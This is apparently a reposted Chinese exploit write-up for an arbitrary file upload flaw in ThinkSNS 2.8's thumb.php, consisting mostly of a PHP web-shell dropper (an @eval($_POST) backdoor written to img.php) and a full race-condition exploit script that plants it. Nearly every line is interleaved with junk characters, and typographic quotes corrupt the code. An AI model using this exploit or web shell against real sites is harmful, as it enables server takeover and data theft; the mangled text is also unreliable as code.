漏洞版本
9 ^9 D9 V; Q) r9 Y存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
+ M: r7 C/ U9 J' Y3 v6 v漏洞文件
( Z) W; u* _0 } C, J存在漏洞的文件为:thumb.php
$ i, ?/ @: E g% V: I% L' G7 I作者:韦鲲鹏
0 @0 ^ Q. g4 b5 |: P) {, p" A1、 准备如下PHP文件并上传到服务器(自己的)。- {% B3 f e0 F' z% [$ z
文件内容如下:
7 ~- w0 ^8 n1 q- m7 A) D; {<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' j+ }% A; y- v# c) i7 }3 w% i2、 计算出临时的文件名:/ k8 S( R* G) e0 o
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
3 U, E- H5 e8 w! E2 K- { J' m) z& F
3、 上传临时文件。
& ], i. }9 W, s# D8 z8 ]# ?; f# Z4、 访问临时文件。 E0 J) E9 m5 \- u0 P4 g" S
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)2 \2 |0 M1 V# O( ^$ w
Exploit文件内容如下:(这个我就不详细解释了)
" r9 w$ H0 @) B# F8 H3 d' \<?php9 v% N% {7 ^" \- l7 k# e) r* S3 V% f
error_reporting(0);
0 ?+ n3 k7 X7 B+ i) i2 }, \set_time_limit(0);" y' v% n6 b- v, d
ini_set(“default_socket_timeout”, 5);
_+ Z7 B& q9 T, j2 M1 _+ L pfunction http_send($host, $port, $headers) {/ u1 x h1 K6 {- y% f' T0 S
$fp = fsockopen($host, $port);
0 T. y; s2 G3 d! E9 n0 aif (!$fp) die(‘Connection -> fail’);: e5 k0 F. ~, X+ L' F3 I* C# @: C
fputs($fp, $headers);. Z" C' K5 d, c, J) C
return $fp;
4 W7 u% o) o* d3 E0 i2 [! x}
# t4 m$ g8 s! W( A- z2 rfunction http_recv($fp) {& ]/ C' k% k$ k
$ret=”";, \7 r3 X0 }( b+ g' P; z. C& S# c# `/ g
while (!feof($fp))
3 U8 S3 ]% e6 u6 R1 Y/ c$ret.= fgets($fp, 1024);
9 l! z4 r7 O9 u8 k! ?4 ^fclose($fp);
3 J* E4 K5 |& K8 n8 s4 Lreturn $ret;
. @1 F# r6 q) c) Q}: e0 Q! m$ Y8 H
print “\n# ThinkSns Arbitrary File Upload #\n”;
1 a A/ O: D7 \/ U: a7 lprint “# Discovered by 韦鲲鹏 #\n\n”;
# X: o% V& N: dif ($argc < 4) {% u) e W3 T! ~* T
print “Usage: php <host> <path> <romote_url>\n”; }. e3 a) |+ ~
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
& p( Y, f: y! U6 Y Ndie();
" U+ J+ U% g0 i+ A( R) K/ `; \}. X! W, [6 R/ H' E6 C0 ]# S
$host = $argv[1];
$ b3 D9 ]& X; g9 n- F$path = $argv[2];7 i: A$ O# l9 L9 X# f) O
$url = $argv[3];
3 H, R9 D5 W, i$i=0;
5 n6 n2 `; J* ~2 k9 n0 b//上传数据包
: X. x N. } ^) P/ [2 S# ^( `! C$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;$ x& [: W0 _/ K8 d) E3 O& F. |
$headers_up .= “Host: “.$host.”\r\n”;
/ A% R% ^/ b9 z5 d$headers_up .= “Connection: close\r\n\r\n”;
& X5 p! y2 d$ E9 O9 m1 m2 y! @8 Aecho $headers_up;
: Z4 b+ S8 B8 g8 N1 Y//临时文件访问数据包: j+ D5 H! {. \8 l7 k
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;* E, r$ l0 l4 l
$headers .= “Host: “.$host.”\r\n”;
& E+ _4 y5 f" v" O1 D$headers .= “Connection: close\r\n\r\n”;0 g( t4 Q6 i, Y* C5 i q
echo $headers;
8 Y! L! q% _8 Lwhile(++$i<10) {7 W, \; {1 J$ r9 D/ N
fclose(http_send($host, 80, $headers));
9 s' N+ ~$ v, O' G3 K' q' F}
7 ?4 N; ^$ E. ^ B8 [# Jfclose(http_send($host, 80, $headers_up)); q: e0 K8 V: W( M' P) u3 N9 q- G
while(++$i<50) {
* p" r( j; P& j0 ]& Y( \' {fclose(http_send($host, 80, $headers));
8 f& N) C) V8 e; |2 ~}. |+ u4 M0 a0 S; l( B; B
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;2 R/ S0 D- @ _8 y) V2 a0 ^) P1 V( q
$headers .= “Host: “.$host.”\r\n”;$ V1 k" j- T' G6 v8 j: I( o
$headers .= “Connection: close\r\n\r\n”;, b6 O5 X' r& M' \! t+ @$ p3 h3 R: s
$res=http_recv(http_send($host, 80, $headers));: G: f* s% O+ n5 E( n2 l+ W
if(preg_match(‘/200 OK/’,$res)) {
3 P8 M6 |4 t# R9 t* |$ j5 g+ Oprint “Success!\n\n”;0 ^/ ^ q4 B$ c: i* h3 R% M
} else {
/ |3 q- i0 n6 e1 g/ @3 X; b& i+ M9 kprint “Fail!\n\n”;
/ X v! \/ A) x5 ?* U} G' J. W6 g6 q% X! }3 ?
?>
% G0 U! b- {- I' g1 y* j8 D" L! J |